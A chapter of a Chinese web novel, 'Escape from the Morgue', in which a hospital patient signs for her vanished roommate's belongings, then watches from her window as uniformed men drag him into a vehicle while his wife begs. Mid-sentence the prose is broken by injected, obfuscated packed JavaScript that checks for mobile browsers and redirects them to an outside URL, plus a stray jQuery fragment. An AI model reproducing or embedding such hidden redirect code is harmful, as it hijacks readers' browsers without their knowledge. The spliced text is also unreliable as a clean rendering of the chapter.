20. 抓捕
作品:《逃离太平间》 时间不早,尤思最终放弃了寻找,赶回了病房。
病房里面有一个老护士正站在她的床旁,尤思深吸一口气,走进病房。
老护士明显注意到了她的动静,转身看向尤思。
她的手里拿着一张白纸,一脸严肃。
“尤思小姐,你去哪里了?”
“我只是出去透透气,病房有点闷。”
护士明显不相信她的话,但是她没有深究,因为她今晚前来的主要目的不是为了查看尤思是否老实地待在病房之中。
“关于费清先生的一些私人物品,需要您作为同病房的人员,仔细确认一下。如果后续没有问题,请在这里签字,后续我们会移交给他的家属。”
尤思接过那张纸。
上面分门别类,列着十几项物品。
眼镜、棕色皮夹、半瓶未开封的矿泉水、几件换洗衣物、一本卷了角的旧杂志……
记录极其详尽,这似乎不是临时清点,而是早有存档。
尤思很是疑惑,“我也不知道费先生具体有哪些东西?我没有办法去确定这个。”
她确实不知道。
两个住院病人,除非关系特别密切,谁会去留意对方每一件私人物品?
医院将这份核对责任推给她,这件事情从最初就不该是她的责任。
护士脸上的严肃更加冷硬,“只是例行确定而已,尤思小姐。你同他住在一间病房,平日的接触最多。看看有没有明显遗漏的,或者不属于他的东西混在里面,这是手续。”
尤思的目光再次落回清单,那些文字描述着费清存在过的痕迹有。
她沉默了几秒,仿佛在努力回忆。她瞥见护士的面色已经变得极度不耐烦。
然后,她接过笔,在制指定的位置签下了自己的名字。
护士盯着她签完,迅速抽回清单和笔。
她脸上紧绷的线条放松了许多。
“谢谢配合。”她的语气变得些许柔和。
“早点休息,不要随意离开病房,今天晚上,外面……不太平。”
最后几个字,她说得极轻,像是提醒,又像是某种警告。
说完,她不再停留,转身离开了病房,脚步声渐行渐远。
门关上,尤思躺了下来,她缓缓吁出一口气。
费清究竟去了什么地方,为什么医院现在就开始统计他可能遗留的东西了。
疲惫终究彻底将她淹没。
尤思甚至还没来得及脱掉外套,就歪倒在了床上,陷入了一段并不安稳的睡眠。
不知过了多久。
一种尖锐而有穿透性的光线,像烧红的针,刺破了她的眼睑。
尤思猛地惊醒。
房间里依旧是一片漆黑,只有窗外。
窗外的黑暗被一种快速闪烁的红光粗暴地撕开。
红光节奏急促,旋转着。将病房的墙壁、天花板、甚至她的手臂,都映照成一片猩红。
骤然,又再次陷入黑暗,再次亮起,如此循环往复。
是救护车?不,节奏不对,颜色也更刺目。
是警车?还是……
尤思撑起身子,挪到窗边,小心地撩开窗帘一角。
楼下,住院部前的空地上,景象让她睡意全无。
两辆顶部闪烁着刺目红光的黑色特种车辆停在中央,车灯将周遭的一切照的清楚。
几个穿着全黑制服,戴着头盔的身影正在快速而有条不紊地行动。
他们围成了一个松散的包围圈。
包围圈的中心,是两个人。
一个蜷缩在地上,穿着单薄的病号服,在深夜的寒风中瑟瑟发抖,看不清脸,但那身形……
是费清。
他的身旁半跪着一个女人,正试图用身体护住他。
她正对着那些黑色身影激动地哭喊着,是那位日常前来送饭的。
“求求你们!别这样!我真的求求你们了!他病了!他脑袋里有瘤啊!你们不能这样抓他!”
女人的哭喊声被夜风撕扯得断断续续,“老费!老费你说话啊!跟他们说你不是故意的!你只是害怕!”
费清似乎想抬头,但一个黑制服上前一步,动作利落地用什么东西控制住了他的手腕。
费清发出一声含糊而又痛苦的呜咽,他只是挣扎了一下,随即便瘫软下去,再无动静。
只有苍白的病号服在红光的闪烁下异常刺眼。
“他只是跑出来了!他没伤人!他是病人啊!你们这是干什么?!放开他!!”女人发出刺耳的尖叫,不顾一切地扑上去,她想要扯开那只按住丈夫的手。
另一个黑制服横跨一步,如同一堵移动的墙,稳稳地挡在她面前。
他没有推搡,没有喝骂,只是用身体和手臂构成了一道无法逾越的屏障。
女人疯狂地捶打着那堵“墙”,拳头落在厚实的防护服上发出沉闷的噗噗声,她的哭喊变成了语无伦次的嚎叫,“杀人了!杀人了啊!求求你们了!不要这样!!”
没有回应。
住院部大楼的窗户,除了尤思这一扇,每位病人已然陷入了沉睡。
大多数人被提前告知了“不要靠近窗户”,他们不愿去关心这与他们无关的事情。
听从医嘱,才是他们需要关心的事情。
空荡荡的院子里,除了这几人,再无其他活物。
整个过程,完成控制费清这一目标,不过短短十几秒。
迅速,专业,除了女人的嘶喊,近乎无声。
没有更多的喧哗,没有其他病患或家属围观。
此时此刻的夜晚,只有引擎的低吼、红光的嘶鸣、以及那绝望的哭求。
所有的一切被压倒性的权利所控制。
这不是医疗行为。这是一场抓捕。
尤思的手指不自觉地紧紧抠着窗台,她看着费清,就像一袋没有生命的货物,被两人从地上架起,拖向其中一辆黑色车辆。
他的双腿软软地拖在地上,头颅低垂。
女人被牢牢拦住,所有挣扎的力气似乎耗尽了。
她就那么眼睁睁看着丈夫被拖向那辆张着黑色大口的车辆,她的身体顺着黑衣人的阻挡缓缓滑落,最终瘫坐在地上。
她不再哭喊,只是仰着头,嘴巴大张着,却发不出任何声音。
大颗的眼泪无声地滚落,在车灯的强光下亮得刺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127351|196145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼。
“砰。”
一声沉闷的巨响。
费清被塞进了车厢,厚重的车门关闭,将他与外界的一切彻底隔绝。
空地上,骤然间只剩下被车灯照得惨白的水泥地。
红光停止闪烁,转为常亮。
车辆发动,迅速驶离,消失在医院马路的尽头。
那里留下了两道浅浅的拖痕,以及那个瘫坐在原地,已然缩成小小一团的颤抖身影。
很快,两个穿着普通医院保安制服的人从住院部大楼的侧面快步走出,他们面无表情地架起那个几乎失去意识的女人。
几乎是半拖半扶地,将她带离了这片刚刚上演过强制暴力的舞台。
整个过程同样迅速、安静,如同在清理一片不该出现的垃圾。
如果不是深夜惊醒,亲眼见到这一幕,尤思压根不会知道这件事情的发生。
心底有一根弦断裂了,那大脑中叫唤着的“请尽快逃离”愈发响亮。
就在这时,住院部侧门“吱呀”一声被推开。
一个佝偻的身影,拖着扫把和簸箕,慢吞吞地挪了出来。
是他,那个清洁工马德世。
他似乎并不关心刚刚发生的一切,或者说,他早已麻木。
他拖着扫把,走到那片刚刚发生过抓捕的空地中央,那里或许还有因为挣扎而留下的脚印。
马德世停下,浑浊的眼睛没什么焦点地扫过地面。
然后,他举起扫把,开始一下、一下,慢条斯理地扫起来。
竹扫把划过水泥地,发出“唰——唰——”的单调声响,在夜里传得很远。
他一边扫,嘴里一边继续含混地念叨着,哼唱那走了调的词句,“不闹腾咯,不闹腾咯……没得事……没得事……扫干净,就都没得事咯……”
他仔仔细细将那片区域扫了一遍,连角落都不放过,然后将扫拢的灰尘和杂物倒进一旁的簸箕。
做完这一切,他拄着扫把,站在原地歇了口气。
马德世抬头望了望住院部大楼那些黑黢黢的窗户,突然他发现了什么,直直注视着尤思的那一扇窗。
他重重清了一嗓子,尤思下意识向后退了一步,他是看见了她吗?
但还没等她确定,马德世低下了头,嘟囔一句:“都睡吧……都睡吧……天亮了……啥事都没了……”
他拖着扫把和簸箕,挪动着疲乏的身躯,重新消失在侧门的阴影里。
“吱呀——”一声,门被带上。
空地上彻底空无一人,水泥地面看起来干净了许多。
尤思缓缓放下窗帘,跌坐在了床沿上。
红光残像仍在她视网膜上跳跃,与脑海中那点墙根下的暗褐色血迹,渐渐重叠。
那点血迹……是他挣扎时留下的?还是更早之前?
突然,一个不带任何情绪的声音,几乎贴着她的后脑勺,在死寂的病房里响起。
“夜间风大,小心着凉。”
尤思浑身的血液,在那一刹那,凝固了。
她没有听到门开的声音,没有感觉到任何靠近的气息。
一道无声的阴影,不知何时,站在了她的身后。

